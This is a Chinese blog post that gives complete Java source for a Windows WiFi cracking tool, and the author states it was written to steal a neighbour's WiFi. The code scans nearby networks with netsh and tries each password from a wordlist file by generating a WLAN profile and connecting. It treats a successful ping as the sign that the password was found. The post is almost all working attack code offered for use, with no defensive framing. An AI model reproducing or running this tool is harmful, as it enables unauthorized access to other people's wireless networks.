简介
闲来无事，手机的无限流量很卡，于是想偷隔壁的wifi，写此程序，仅供娱乐。 Git地址https://github.com/FangCheng666/zn_wifi_crack.git 代码如下1.cmd工具类 package com.znkeji.zn_wifi_carck.utils; import java.io.BufferedReader; import java.io.File; import java.io.IOException; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List; /** * Created with IntelliJ IDEA. * User: fangcheng * Date: 2019/3/24 * Time: 16:21 * Description: cmd 需要的工具类 */ public class CmdUtils { /** * 该方法封装了执行cmd的方法 * * @param cmd CMD命令 * @param filePath 需要在哪个目录下执行 */ public static List execute(String cmd, String filePath) { Process process = null; List result = new ArrayList(); try { if (filePath != null) { process = Runtime.getRuntime().exec(cmd, null, new File(filePath)); } else { process = Runtime.getRuntime().exec(cmd); } BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk")); String line = null; while ((line = bReader.readLine()) != null) { result.add(line); } } catch (IOException e) { e.printStackTrace(); } return result; } }2.字符串工具类 package com.znkeji.zn_wifi_carck.utils; /** * Created with IntelliJ IDEA. * User: fangcheng * Date: 2019/3/24 * Time: 16:21 * Description:字符串工具类 */ public class StringUtils { /** * 字符串转换成为16进制(无需Unicode编码) * @param str * @return */ public static String str2HexStr(String str) { char[] chars = "0123456789ABCDEF".toCharArray(); StringBuilder sb = new StringBuilder(""); byte[] bs = str.getBytes(); int bit; for (int i = 0; i < bs.length; i++) { bit = (bs[i] & 0x0f0) >> 4; sb.append(chars[bit]); bit = bs[i] & 0x0f; sb.append(chars[bit]); // sb.append(' '); } return sb.toString().trim(); } }3.wifi工具类 package com.znkeji.zn_wifi_carck.utils; import java.util.Hashtable; /** * Created with IntelliJ IDEA. * User: fangcheng * Date: 2019/3/24 * Time: 13:16 * Description: WiFi工具类 */ public class WiFiUtils { /** * 获得wifi配置文件字符串 * @param WIFI_NAME * @param hex * @param WIFI_PASSWORD * @return */ public static String getWifiStr(String WIFI_NAME, String hex, String WIFI_PASSWORD) { return "\n" + "\n" + "\t"+WIFI_NAME+"\n" + "\t\n" + "\t\t\n" + "\t\t\t"+hex+"\n" + "\t\t\t"+WIFI_NAME+"\n" + "\t\t\n" + "\t\n" + "\tESS\n" + "\tauto\n" + "\t\n" + "\t\t\n" + "\t\t\t\n" + "\t\t\t\tWPA2PSK\n" + "\t\t\t\tAES\n" + "\t\t\t\tfalse\n" + "\t\t\t\n" + "\t\t\t\n" + "\t\t\t\tpassPhrase\n" + "\t\t\t\tfalse\n" + "\t\t\t\t"+WIFI_PASSWORD+"\n" + "\t\t\t\n" + "\t\t\n" + "\t\n" + "\t\n" + "\t\tfalse\n" + "\t\n" + "\n"; } } 4.启动类 package com.znkeji.zn_wifi_carck; import com.znkeji.zn_wifi_carck.utils.CmdUtils; import com.znkeji.zn_wifi_carck.utils.StringUtils; import com.znkeji.zn_wifi_carck.utils.WiFiUtils; import org.springframework.util.FileCopyUtils; import java.io.*; import java.util.ArrayList; import java.util.List; import java.util.Scanner; /** * Created with IntelliJ IDEA. * User: fangcheng * Date: 2019/3/23 * Time: 20:18 * Description: 启动类，项目的入口 */ public class App { public static void main(String[] args) throws IOException { List wifiList = CmdUtils.execute("netsh wlan show networks mode=bssid", "./"); List ssidList = getSsidList(wifiList); for (int i = 0; i < ssidList.size(); i++) { System.out.println((i+1)+"."+ssidList.get(i)); } System.out.println("请输入要破解的wifi:"); Scanner sca =new Scanner(System.in); sca.useDelimiter("\n"); String ssid = sca.next(); System.out.println("-----------您选择的wifi为【"+ssid+"】-------------"); System.out.println("-----------开始破解-------------"); String path = App.class.getClassLoader().getResource("pwd.txt").getPath(); BufferedReader reader = new BufferedReader(new FileReader(path)); String pwd = null; int i = 0; while((pwd = reader.readLine()) != null){ i++; System.out.println("开始连接："+i+" -->"+ssid+" - "+pwd); boolean success = connect(ssid, pwd); if(success){ System.out.println("连接成功，"+ssid+"的密码为"+pwd); return; } } } /** * 连接wifi * @param ssid * @param wifiPwd */ private static boolean connect(String ssid, String wifiPwd) { try { String hex = StringUtils.str2HexStr(ssid); //生成wifi配置文件 String wifiConf = WiFiUtils.getWifiStr(ssid, hex,wifiPwd); File out = new File("./temp.xml"); FileCopyUtils.copy(wifiConf.getBytes(), out); //添加配置文件 printList(CmdUtils.execute("netsh wlan add profile filename=temp.xml","./"));; //连接wifi printList(CmdUtils.execute("netsh wlan connect name=\""+ssid+"\"","./"));; //测试网络，使用ping的方式检测网络，此处建议优化改其他效率更高的方式，暂停2000毫秒是因为连接WiFi需要时间，这个时间因环境而异 CmdUtils.execute("ipconfig","./"); Thread.sleep(2000); boolean success = ping(); return success; }catch (Exception e){ e.printStackTrace(); } return false; } /** * 获得ssidList * @param resultList 通过cmd命令查出来的附件WiFi * @return */ private static List getSsidList(List resultList) { List ssidList = new ArrayList(); //遍历result获得ssid for (String result : resultList) { if(result.startsWith("SSID")){ String ssid = result.substring(result.indexOf(":")+2); ssidList.add(ssid); } } return ssidList; } /** * 打印list数据 * @param resultList */ private static void printList(List resultList) { for (String result : resultList) { System.out.println(result); } } /** * ping 校验 */ private static boolean ping() { boolean pinged = false; String cmd = "ping www.baidu.com"; List result = CmdUtils.execute(cmd, "./"); // printList(result); if (result != null && result.size() > 0) { for (String item : result) { if (item.contains("来自")) { pinged = true; break; } } } return pinged; } } 启动方式启动App类中的main方法即可 效果如下
